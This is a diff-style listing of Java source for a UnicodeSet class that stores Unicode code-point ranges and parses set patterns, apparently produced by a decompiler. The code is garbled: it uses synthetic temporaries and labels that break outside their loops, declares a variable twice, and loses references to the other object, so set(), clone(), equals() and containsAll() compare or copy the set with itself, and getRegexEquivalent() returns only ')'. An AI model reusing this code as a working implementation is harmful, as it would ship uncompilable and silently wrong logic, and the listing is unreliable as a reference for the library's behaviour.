+  implements Iterable<String>, Comparable<UnicodeSet>, Freezable<UnicodeSet>
+{
+  public static final UnicodeSet EMPTY = new UnicodeSet().freeze();
+  
+
+
+
+  public static final UnicodeSet ALL_CODE_POINTS = new UnicodeSet(0, 1114111).freeze();
+  
+  private static XSymbolTable XSYMBOL_TABLE = null;
+  
+
+  private static final int LOW = 0;
+  
+
+  private static final int HIGH = 1114112;
+  
+
+  public static final int MIN_VALUE = 0;
+  
+
+  public static final int MAX_VALUE = 1114111;
+  
+
+  private int len;
+  
+
+  private int[] list;
+  
+
+  private int[] rangeList;
+  
+  private int[] buffer;
+  
+  TreeSet<String> strings = new TreeSet();
+  
+
+
+
+
+
+
+
+
+
+  private String pat = null;
+  
+
+  private static final int START_EXTRA = 16;
+  
+
+  private static final int GROW_EXTRA = 16;
+  
+
+  private static final String ANY_ID = "ANY";
+  
+
+  private static final String ASCII_ID = "ASCII";
+  
+  private static final String ASSIGNED = "Assigned";
+  
+  private static UnicodeSet[] INCLUSIONS = null;
+  
+
+
+  private BMPSet bmpSet;
+  
+
+  private UnicodeSetStringSpan stringSpan;
+  
+
+
+  public UnicodeSet()
+  {
+    list = new int[17];
+    list[(len++)] = 1114112;
+  }
+  
+
+
+
+  public UnicodeSet(UnicodeSet other)
+  {
+    set(other);
+  }
+  
+
+
+
+
+
+
+
+  public UnicodeSet(int start, int end)
+  {
+    this();
+    complement(start, end);
+  }
+  
+
+
+
+
+
+
+
+
+  public UnicodeSet(int... pairs)
+  {
+    if ((pairs.length & 0x1) != 0) {
+      throw new IllegalArgumentException("Must have even number of integers");
+    }
+    list = new int[pairs.length + 1];
+    len = list.length;
+    int last = -1;
+    int i = 0;
+    for (; i < pairs.length; 
+        
+
+
+
+
+
+
+
+
+
+
+        list[(i++)] = tmp133_131)
+    {
+      int start = pairs[i];
+      if (last >= start) {
+        throw new IllegalArgumentException("Must be monotonically increasing.");
+      }
+      int tmp97_95 = start;last = tmp97_95;list[(i++)] = tmp97_95;
+      
+      int end = pairs[i] + 1;
+      if (last >= end) {
+        throw new IllegalArgumentException("Must be monotonically increasing.");
+      }
+      last = end;
+    }
+    list[i] = 1114112;
+  }
+  
+
+
+
+
+
+
+
+  public UnicodeSet(String pattern)
+  {
+    this();
+    applyPattern(pattern, null, null, 1);
+  }
+  
+
+
+
+
+
+
+
+
+  public UnicodeSet(String pattern, boolean ignoreWhitespace)
+  {
+    this();
+    applyPattern(pattern, null, null, ignoreWhitespace ? 1 : 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public UnicodeSet(String pattern, int options)
+  {
+    this();
+    applyPattern(pattern, null, null, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet(String pattern, ParsePosition pos, SymbolTable symbols)
+  {
+    this();
+    applyPattern(pattern, pos, symbols, 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet(String pattern, ParsePosition pos, SymbolTable symbols, int options)
+  {
+    this();
+    applyPattern(pattern, pos, symbols, options);
+  }
+  
+
+
+
+
+  public Object clone()
+  {
+    UnicodeSet result = new UnicodeSet(this);
+    bmpSet = bmpSet;
+    stringSpan = stringSpan;
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  public UnicodeSet set(int start, int end)
+  {
+    checkFrozen();
+    clear();
+    complement(start, end);
+    return this;
+  }
+  
+
+
+
+
+
+  public UnicodeSet set(UnicodeSet other)
+  {
+    checkFrozen();
+    list = ((int[])list.clone());
+    len = len;
+    pat = pat;
+    strings = new TreeSet(strings);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public final UnicodeSet applyPattern(String pattern)
+  {
+    checkFrozen();
+    return applyPattern(pattern, null, null, 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public UnicodeSet applyPattern(String pattern, boolean ignoreWhitespace)
+  {
+    checkFrozen();
+    return applyPattern(pattern, null, null, ignoreWhitespace ? 1 : 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet applyPattern(String pattern, int options)
+  {
+    checkFrozen();
+    return applyPattern(pattern, null, null, options);
+  }
+  
+
+
+
+
+  public static boolean resemblesPattern(String pattern, int pos)
+  {
+    return ((pos + 1 < pattern.length()) && (pattern.charAt(pos) == '[')) || (resemblesPropertyPattern(pattern, pos));
+  }
+  
+
+
+
+  private static void _appendToPat(StringBuffer buf, String s, boolean escapeUnprintable)
+  {
+    int cp;
+    
+
+    for (int i = 0; i < s.length(); i += Character.charCount(cp)) {
+      cp = s.codePointAt(i);
+      _appendToPat(buf, cp, escapeUnprintable);
+    }
+  }
+  
+
+
+
+
+
+  private static void _appendToPat(StringBuffer buf, int c, boolean escapeUnprintable)
+  {
+    if ((escapeUnprintable) && (Utility.isUnprintable(c)))
+    {
+
+      if (Utility.escapeUnprintable(buf, c)) {
+        return;
+      }
+    }
+    
+    switch (c) {
+    case 36: 
+    case 38: 
+    case 45: 
+    case 58: 
+    case 91: 
+    case 92: 
+    case 93: 
+    case 94: 
+    case 123: 
+    case 125: 
+      buf.append('\\');
+      break;
+    
+    default: 
+      if (PatternProps.isWhiteSpace(c)) {
+        buf.append('\\');
+      }
+      break;
+    }
+    UTF16.append(buf, c);
+  }
+  
+
+
+
+
+
+  public String toPattern(boolean escapeUnprintable)
+  {
+    StringBuffer result = new StringBuffer();
+    return _toPattern(result, escapeUnprintable).toString();
+  }
+  
+
+
+
+
+
+  private StringBuffer _toPattern(StringBuffer result, boolean escapeUnprintable)
+  {
+    if (pat != null)
+    {
+      int backslashCount = 0;
+      for (int i = 0; i < pat.length();) {
+        int c = UTF16.charAt(pat, i);
+        i += UTF16.getCharCount(c);
+        if ((escapeUnprintable) && (Utility.isUnprintable(c)))
+        {
+
+
+
+          if (backslashCount % 2 != 0) {
+            result.setLength(result.length() - 1);
+          }
+          Utility.escapeUnprintable(result, c);
+          backslashCount = 0;
+        } else {
+          UTF16.append(result, c);
+          if (c == 92) {
+            backslashCount++;
+          } else {
+            backslashCount = 0;
+          }
+        }
+      }
+      return result;
+    }
+    
+    return _generatePattern(result, escapeUnprintable, true);
+  }
+  
+
+
+
+
+
+
+
+  public StringBuffer _generatePattern(StringBuffer result, boolean escapeUnprintable)
+  {
+    return _generatePattern(result, escapeUnprintable, true);
+  }
+  
+
+
+
+
+
+
+
+  public StringBuffer _generatePattern(StringBuffer result, boolean escapeUnprintable, boolean includeStrings)
+  {
+    result.append('[');
+    
+
+
+
+
+
+
+
+
+
+
+    int count = getRangeCount();
+    
+
+
+
+    if ((count > 1) && (getRangeStart(0) == 0) && (getRangeEnd(count - 1) == 1114111))
+    {
+
+
+
+      result.append('^');
+      
+      for (int i = 1; i < count; i++) {
+        int start = getRangeEnd(i - 1) + 1;
+        int end = getRangeStart(i) - 1;
+        _appendToPat(result, start, escapeUnprintable);
+        if (start != end) {
+          if (start + 1 != end) {
+            result.append('-');
+          }
+          _appendToPat(result, end, escapeUnprintable);
+        }
+        
+      }
+    }
+    else
+    {
+      for (int i = 0; i < count; i++) {
+        int start = getRangeStart(i);
+        int end = getRangeEnd(i);
+        _appendToPat(result, start, escapeUnprintable);
+        if (start != end) {
+          if (start + 1 != end) {
+            result.append('-');
+          }
+          _appendToPat(result, end, escapeUnprintable);
+        }
+      }
+    }
+    
+    if ((includeStrings) && (strings.size() > 0)) {
+      for (String s : strings) {
+        result.append('{');
+        _appendToPat(result, s, escapeUnprintable);
+        result.append('}');
+      }
+    }
+    return result.append(']');
+  }
+  
+
+
+
+
+
+
+
+  public int size()
+  {
+    int n = 0;
+    int count = getRangeCount();
+    for (int i = 0; i < count; i++) {
+      n += getRangeEnd(i) - getRangeStart(i) + 1;
+    }
+    return n + strings.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return (len == 1) && (strings.size() == 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean matchesIndexValue(int v)
+  {
+    for (int i = 0; i < getRangeCount(); i++) {
+      int low = getRangeStart(i);
+      int high = getRangeEnd(i);
+      if ((low & 0xFF00) == (high & 0xFF00)) {
+        if (((low & 0xFF) <= v) && (v <= (high & 0xFF))) {
+          return true;
+        }
+      } else if (((low & 0xFF) <= v) || (v <= (high & 0xFF))) {
+        return true;
+      }
+    }
+    if (strings.size() != 0) {
+      for (String s : strings)
+      {
+
+
+
+
+        int c = UTF16.charAt(s, 0);
+        if ((c & 0xFF) == v) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public int matches(Replaceable text, int[] offset, int limit, boolean incremental)
+  {
+    if (offset[0] == limit)
+    {
+
+
+      if (contains(65535)) {
+        return incremental ? 1 : 2;
+      }
+      return 0;
+    }
+    
+    if (strings.size() != 0)
+    {
+
+
+
+
+
+
+
+      boolean forward = offset[0] < limit;
+      
+
+
+
+      char firstChar = text.charAt(offset[0]);
+      
+
+
+      int highWaterLength = 0;
+      
+      for (String trial : strings)
+      {
+
+
+
+
+        char c = trial.charAt(forward ? 0 : trial.length() - 1);
+        
+
+
+        if ((forward) && (c > firstChar)) break;
+        if (c == firstChar)
+        {
+          int length = matchRest(text, offset[0], limit, trial);
+          
+          if (incremental) {
+            int maxLen = forward ? limit - offset[0] : offset[0] - limit;
+            if (length == maxLen)
+            {
+              return 1;
+            }
+          }
+          
+          if (length == trial.length())
+          {
+            if (length > highWaterLength) {
+              highWaterLength = length;
+            }
+            
+
+            if ((forward) && (length < highWaterLength)) {
+              break;
+            }
+          }
+        }
+      }
+      
+
+
+      if (highWaterLength != 0) {
+        offset[0] += (forward ? highWaterLength : -highWaterLength);
+        return 2;
+      }
+    }
+    return super.matches(text, offset, limit, incremental);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int matchRest(Replaceable text, int start, int limit, String s)
+  {
+    int slen = s.length();
+    int maxLen; if (start < limit) {
+      int maxLen = limit - start;
+      if (maxLen > slen) maxLen = slen;
+      for (int i = 1; i < maxLen; i++) {
+        if (text.charAt(start + i) != s.charAt(i)) return 0;
+      }
+    } else {
+      maxLen = start - limit;
+      if (maxLen > slen) maxLen = slen;
+      slen--;
+      for (int i = 1; i < maxLen; i++) {
+        if (text.charAt(start - i) != s.charAt(slen - i)) return 0;
+      }
+    }
+    return maxLen;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public int matchesAt(CharSequence text, int offset)
+  {
+    int lastLen = -1;
+    
+    if (strings.size() != 0) {
+      char firstChar = text.charAt(offset);
+      String trial = null;
+      
+      Iterator<String> it = strings.iterator();
+      while (it.hasNext()) {
+        trial = (String)it.next();
+        char firstStringChar = trial.charAt(0);
+        if (firstStringChar >= firstChar) {
+          if (firstStringChar > firstChar)
+            break label135;
+        }
+      }
+      for (;;) {
+        int tempLen = matchesAt(text, offset, trial);
+        if (lastLen > tempLen) break;
+        lastLen = tempLen;
+        if (!it.hasNext()) break;
+        trial = (String)it.next();
+      }
+    }
+    label135:
+    if (lastLen < 2) {
+      int cp = UTF16.charAt(text, offset);
+      if (contains(cp)) { lastLen = UTF16.getCharCount(cp);
+      }
+    }
+    return offset + lastLen;
+  }
+  
+
+
+
+
+
+
+
+  private static int matchesAt(CharSequence text, int offsetInText, CharSequence substring)
+  {
+    int len = substring.length();
+    int textLength = text.length();
+    if (textLength + offsetInText > len) {
+      return -1;
+    }
+    int i = 0;
+    for (int j = offsetInText; i < len; j++) {
+      char pc = substring.charAt(i);
+      char tc = text.charAt(j);
+      if (pc != tc) { return -1;
+      }
+      i++;
+    }
+    
+
+
+    return i;
+  }
+  
+
+
+
+
+
+
+  public void addMatchSetTo(UnicodeSet toUnionTo)
+  {
+    toUnionTo.addAll(this);
+  }
+  
+
+
+
+
+
+
+
+  public int indexOf(int c)
+  {
+    if ((c < 0) || (c > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(c, 6));
+    }
+    int i = 0;
+    int n = 0;
+    for (;;) {
+      int start = list[(i++)];
+      if (c < start) {
+        return -1;
+      }
+      int limit = list[(i++)];
+      if (c < limit) {
+        return n + c - start;
+      }
+      n += limit - start;
+    }
+  }
+  
+
+
+
+
+  public int charAt(int index)
+  {
+    int i;
+    
+
+
+    if (index >= 0)
+    {
+
+
+      int len2 = len & 0xFFFFFFFE;
+      for (i = 0; i < len2;) {
+        int start = list[(i++)];
+        int count = list[(i++)] - start;
+        if (index < count) {
+          return start + index;
+        }
+        index -= count;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet add(int start, int end)
+  {
+    checkFrozen();
+    return add_unchecked(start, end);
+  }
+  
+
+
+
+
+
+
+  public UnicodeSet addAll(int start, int end)
+  {
+    checkFrozen();
+    return add_unchecked(start, end);
+  }
+  
+  private UnicodeSet add_unchecked(int start, int end)
+  {
+    if ((start < 0) || (start > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(start, 6));
+    }
+    if ((end < 0) || (end > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(end, 6));
+    }
+    if (start < end) {
+      add(range(start, end), 2, 0);
+    } else if (start == end) {
+      add(start);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final UnicodeSet add(int c)
+  {
+    checkFrozen();
+    return add_unchecked(c);
+  }
+  
+  private final UnicodeSet add_unchecked(int c)
+  {
+    if ((c < 0) || (c > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(c, 6));
+    }
+    
+
+
+
+    int i = findCodePoint(c);
+    
+
+    if ((i & 0x1) != 0) { return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (c == list[i] - 1)
+    {
+      list[i] = c;
+      
+      if (c == 1114111) {
+        ensureCapacity(len + 1);
+        list[(len++)] = 1114112;
+      }
+      if ((i > 0) && (c == list[(i - 1)]))
+      {
+
+
+
+
+        System.arraycopy(list, i + 1, list, i - 1, len - i - 1);
+        len -= 2;
+      }
+      
+    }
+    else if ((i > 0) && (c == list[(i - 1)]))
+    {
+      list[(i - 1)] += 1;
+
+
+
+
+
+
+
+
+    }
+    else
+    {
+
+
+
+
+
+
+
+
+      if (len + 2 > list.length) {
+        int[] temp = new int[len + 2 + 16];
+        if (i != 0) System.arraycopy(list, 0, temp, 0, i);
+        System.arraycopy(list, i, temp, i + 2, len - i);
+        list = temp;
+      } else {
+        System.arraycopy(list, i, list, i + 2, len - i);
+      }
+      
+      list[i] = c;
+      list[(i + 1)] = (c + 1);
+      len += 2;
+    }
+    
+    pat = null;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final UnicodeSet add(CharSequence s)
+  {
+    checkFrozen();
+    int cp = getSingleCP(s);
+    if (cp < 0) {
+      strings.add(s.toString());
+      pat = null;
+    } else {
+      add_unchecked(cp, cp);
+    }
+    return this;
+  }
+  
+
+
+
+
+  private static int getSingleCP(CharSequence s)
+  {
+    if (s.length() < 1) {
+      throw new IllegalArgumentException("Can't use zero-length strings in UnicodeSet");
+    }
+    if (s.length() > 2) return -1;
+    if (s.length() == 1) { return s.charAt(0);
+    }
+    
+    int cp = UTF16.charAt(s, 0);
+    if (cp > 65535) {
+      return cp;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+  public final UnicodeSet addAll(CharSequence s)
+  {
+    checkFrozen();
+    int cp;
+    for (int i = 0; i < s.length(); i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(s, i);
+      add_unchecked(cp, cp);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public final UnicodeSet retainAll(String s)
+  {
+    return retainAll(fromAll(s));
+  }
+  
+
+
+
+
+
+
+  public final UnicodeSet complementAll(String s)
+  {
+    return complementAll(fromAll(s));
+  }
+  
+
+
+
+
+
+
+  public final UnicodeSet removeAll(String s)
+  {
+    return removeAll(fromAll(s));
+  }
+  
+
+
+
+
+  public final UnicodeSet removeAllStrings()
+  {
+    checkFrozen();
+    if (strings.size() != 0) {
+      strings.clear();
+      pat = null;
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public static UnicodeSet from(String s)
+  {
+    return new UnicodeSet().add(s);
+  }
+  
+
+
+
+
+
+
+  public static UnicodeSet fromAll(String s)
+  {
+    return new UnicodeSet().addAll(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet retain(int start, int end)
+  {
+    checkFrozen();
+    if ((start < 0) || (start > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(start, 6));
+    }
+    if ((end < 0) || (end > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(end, 6));
+    }
+    if (start <= end) {
+      retain(range(start, end), 2, 0);
+    } else {
+      clear();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public final UnicodeSet retain(int c)
+  {
+    return retain(c, c);
+  }
+  
+
+
+
+
+
+
+
+  public final UnicodeSet retain(String s)
+  {
+    int cp = getSingleCP(s);
+    if (cp < 0) {
+      boolean isIn = strings.contains(s);
+      if ((isIn) && (size() == 1)) {
+        return this;
+      }
+      clear();
+      strings.add(s);
+      pat = null;
+    } else {
+      retain(cp, cp);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet remove(int start, int end)
+  {
+    checkFrozen();
+    if ((start < 0) || (start > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(start, 6));
+    }
+    if ((end < 0) || (end > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(end, 6));
+    }
+    if (start <= end) {
+      retain(range(start, end), 2, 2);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public final UnicodeSet remove(int c)
+  {
+    return remove(c, c);
+  }
+  
+
+
+
+
+
+
+
+  public final UnicodeSet remove(String s)
+  {
+    int cp = getSingleCP(s);
+    if (cp < 0) {
+      strings.remove(s);
+      pat = null;
+    } else {
+      remove(cp, cp);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet complement(int start, int end)
+  {
+    checkFrozen();
+    if ((start < 0) || (start > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(start, 6));
+    }
+    if ((end < 0) || (end > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(end, 6));
+    }
+    if (start <= end) {
+      xor(range(start, end), 2, 0);
+    }
+    pat = null;
+    return this;
+  }
+  
+
+
+
+
+
+  public final UnicodeSet complement(int c)
+  {
+    return complement(c, c);
+  }
+  
+
+
+
+
+  public UnicodeSet complement()
+  {
+    checkFrozen();
+    if (list[0] == 0) {
+      System.arraycopy(list, 1, list, 0, len - 1);
+      len -= 1;
+    } else {
+      ensureCapacity(len + 1);
+      System.arraycopy(list, 0, list, 1, len);
+      list[0] = 0;
+      len += 1;
+    }
+    pat = null;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public final UnicodeSet complement(String s)
+  {
+    checkFrozen();
+    int cp = getSingleCP(s);
+    if (cp < 0) {
+      if (strings.contains(s)) {
+        strings.remove(s);
+      } else {
+        strings.add(s);
+      }
+      pat = null;
+    } else {
+      complement(cp, cp);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  public boolean contains(int c)
+  {
+    if ((c < 0) || (c > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(c, 6));
+    }
+    if (bmpSet != null) {
+      return bmpSet.contains(c);
+    }
+    if (stringSpan != null) {
+      return stringSpan.contains(c);
+    }
+    
+
+
+
+
+
+
+
+
+
+    int i = findCodePoint(c);
+    
+    return (i & 0x1) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final int findCodePoint(int c)
+  {
+    if (c < list[0]) { return 0;
+    }
+    
+    if ((len >= 2) && (c >= list[(len - 2)])) return len - 1;
+    int lo = 0;
+    int hi = len - 1;
+    
+    for (;;)
+    {
+      int i = lo + hi >>> 1;
+      if (i == lo) return hi;
+      if (c < list[i]) {
+        hi = i;
+      } else {
+        lo = i;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean contains(int start, int end)
+  {
+    if ((start < 0) || (start > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(start, 6));
+    }
+    if ((end < 0) || (end > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(end, 6));
+    }
+    
+
+
+
+    int i = findCodePoint(start);
+    return ((i & 0x1) != 0) && (end < list[i]);
+  }
+  
+
+
+
+
+
+
+
+  public final boolean contains(String s)
+  {
+    int cp = getSingleCP(s);
+    if (cp < 0) {
+      return strings.contains(s);
+    }
+    return contains(cp);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean containsAll(UnicodeSet b)
+  {
+    int[] listB = list;
+    boolean needA = true;
+    boolean needB = true;
+    int aPtr = 0;
+    int bPtr = 0;
+    int aLen = len - 1;
+    int bLen = len - 1;
+    int startA = 0;int startB = 0;int limitA = 0;int limitB = 0;
+    for (;;)
+    {
+      if (needA) {
+        if (aPtr >= aLen)
+        {
+          if ((needB) && (bPtr >= bLen)) {
+            break label168;
+          }
+          return false;
+        }
+        startA = list[(aPtr++)];
+        limitA = list[(aPtr++)];
+      }
+      if (needB) {
+        if (bPtr >= bLen) {
+          break label168;
+        }
+        
+        startB = listB[(bPtr++)];
+        limitB = listB[(bPtr++)];
+      }
+      
+      if (startB >= limitA) {
+        needA = true;
+        needB = false;
+      }
+      else
+      {
+        if ((startB < startA) || (limitB > limitA)) break;
+        needA = false;
+        needB = true;
+      }
+    }
+    
+    return false;
+    
+    label168:
+    if (!strings.containsAll(strings)) return false;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean containsAll(String s)
+  {
+    int cp;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    for (int i = 0; i < s.length(); i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(s, i);
+      if (!contains(cp)) {
+        if (strings.size() == 0) {
+          return false;
+        }
+        return containsAll(s, 0);
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  private boolean containsAll(String s, int i)
+  {
+    if (i >= s.length()) {
+      return true;
+    }
+    int cp = UTF16.charAt(s, i);
+    if ((contains(cp)) && (containsAll(s, i + UTF16.getCharCount(cp)))) {
+      return true;
+    }
+    for (String setStr : strings) {
+      if ((s.startsWith(setStr, i)) && (containsAll(s, i + setStr.length()))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getRegexEquivalent()
+  {
+    if (strings.size() == 0) {
+      return toString();
+    }
+    StringBuffer result = new StringBuffer("(?:");
+    _generatePattern(result, true, false);
+    for (String s : strings) {
+      result.append('|');
+      _appendToPat(result, s, true);
+    }
+    return ")";
+  }
+  
+
+
+
+
+
+
+
+  public boolean containsNone(int start, int end)
+  {
+    if ((start < 0) || (start > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(start, 6));
+    }
+    if ((end < 0) || (end > 1114111)) {
+      throw new IllegalArgumentException("Invalid code point U+" + Utility.hex(end, 6));
+    }
+    int i = -1;
+    for (;;) {
+      if (start < list[(++i)]) break;
+    }
+    return ((i & 0x1) == 0) && (end < list[i]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean containsNone(UnicodeSet b)
+  {
+    int[] listB = list;
+    boolean needA = true;
+    boolean needB = true;
+    int aPtr = 0;
+    int bPtr = 0;
+    int aLen = len - 1;
+    int bLen = len - 1;
+    int startA = 0;int startB = 0;int limitA = 0;int limitB = 0;
+    for (;;)
+    {
+      if (needA) {
+        if (aPtr >= aLen) {
+          break label147;
+        }
+        
+        startA = list[(aPtr++)];
+        limitA = list[(aPtr++)];
+      }
+      if (needB) {
+        if (bPtr >= bLen) {
+          break label147;
+        }
+        
+        startB = listB[(bPtr++)];
+        limitB = listB[(bPtr++)];
+      }
+      
+      if (startB >= limitA) {
+        needA = true;
+        needB = false;
+      }
+      else
+      {
+        if (startA < limitB) break;
+        needA = false;
+        needB = true;
+      }
+    }
+    
+    return false;
+    
+    label147:
+    if (!SortedSetRelation.hasRelation(strings, 5, strings)) return false;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean containsNone(String s)
+  {
+    return span(s, SpanCondition.NOT_CONTAINED) == s.length();
+  }
+  
+
+
+
+
+
+
+
+  public final boolean containsSome(int start, int end)
+  {
+    return !containsNone(start, end);
+  }
+  
+
+
+
+
+
+
+  public final boolean containsSome(UnicodeSet s)
+  {
+    return !containsNone(s);
+  }
+  
+
+
+
+
+
+
+  public final boolean containsSome(String s)
+  {
+    return !containsNone(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet addAll(UnicodeSet c)
+  {
+    checkFrozen();
+    add(list, len, 0);
+    strings.addAll(strings);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public UnicodeSet retainAll(UnicodeSet c)
+  {
+    checkFrozen();
+    retain(list, len, 0);
+    strings.retainAll(strings);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public UnicodeSet removeAll(UnicodeSet c)
+  {
+    checkFrozen();
+    retain(list, len, 2);
+    strings.removeAll(strings);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public UnicodeSet complementAll(UnicodeSet c)
+  {
+    checkFrozen();
+    xor(list, len, 0);
+    SortedSetRelation.doOperation(strings, 5, strings);
+    return this;
+  }
+  
+
+
+
+
+  public UnicodeSet clear()
+  {
+    checkFrozen();
+    list[0] = 1114112;
+    len = 1;
+    pat = null;
+    strings.clear();
+    return this;
+  }
+  
+
+
+
+
+
+
+  public int getRangeCount()
+  {
+    return len / 2;
+  }
+  
+
+
+
+
+
+
+
+
+  public int getRangeStart(int index)
+  {
+    return list[(index * 2)];
+  }
+  
+
+
+
+
+
+
+
+
+  public int getRangeEnd(int index)
+  {
+    return list[(index * 2 + 1)] - 1;
+  }
+  
+
+
+
+
+  public UnicodeSet compact()
+  {
+    checkFrozen();
+    if (len != list.length) {
+      int[] temp = new int[len];
+      System.arraycopy(list, 0, temp, 0, len);
+      list = temp;
+    }
+    rangeList = null;
+    buffer = null;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object o)
+  {
+    if (o == null) {
+      return false;
+    }
+    if (this == o) {
+      return true;
+    }
+    try {
+      UnicodeSet that = (UnicodeSet)o;
+      if (len != len) return false;
+      for (int i = 0; i < len; i++) {
+        if (list[i] != list[i]) return false;
+      }
+      if (!strings.equals(strings)) return false;
+    } catch (Exception e) {
+      return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+  public int hashCode()
+  {
+    int result = len;
+    for (int i = 0; i < len; i++) {
+      result *= 1000003;
+      result += list[i];
+    }
+    return result;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return toPattern(true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public UnicodeSet applyPattern(String pattern, ParsePosition pos, SymbolTable symbols, int options)
+  {
+    boolean parsePositionWasNull = pos == null;
+    if (parsePositionWasNull) {
+      pos = new ParsePosition(0);
+    }
+    
+    StringBuffer rebuiltPat = new StringBuffer();
+    RuleCharacterIterator chars = new RuleCharacterIterator(pattern, symbols, pos);
+    
+    applyPattern(chars, symbols, rebuiltPat, options);
+    if (chars.inVariable()) {
+      syntaxError(chars, "Extra chars in variable value");
+    }
+    pat = rebuiltPat.toString();
+    if (parsePositionWasNull) {
+      int i = pos.getIndex();
+      
+
+      if ((options & 0x1) != 0) {
+        i = PatternProps.skipWhiteSpace(pattern, i);
+      }
+      
+      if (i != pattern.length()) {
+        throw new IllegalArgumentException("Parse of \"" + pattern + "\" failed at " + i);
+      }
+    }
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  void applyPattern(RuleCharacterIterator chars, SymbolTable symbols, StringBuffer rebuiltPat, int options)
+  {
+    int opts = 3;
+    
+    if ((options & 0x1) != 0) {
+      opts |= 0x4;
+    }
+    
+    StringBuffer patBuf = new StringBuffer();StringBuffer buf = null;
+    boolean usePat = false;
+    UnicodeSet scratch = null;
+    Object backup = null;
+    
+
+
+    int lastItem = 0;int lastChar = 0;int mode = 0;
+    char op = '\000';
+    
+    boolean invert = false;
+    
+    clear();
+    
+    while ((mode != 2) && (!chars.atEnd()))
+    {
+
+
+
+
+
+
+
+
+
+
+      int c = 0;
+      boolean literal = false;
+      UnicodeSet nested = null;
+      
+
+
+
+      int setMode = 0;
+      if (resemblesPropertyPattern(chars, opts)) {
+        setMode = 2;
+
+
+
+
+
+      }
+      else
+      {
+
+
+
+
+        backup = chars.getPos(backup);
+        c = chars.next(opts);
+        literal = chars.isEscaped();
+        
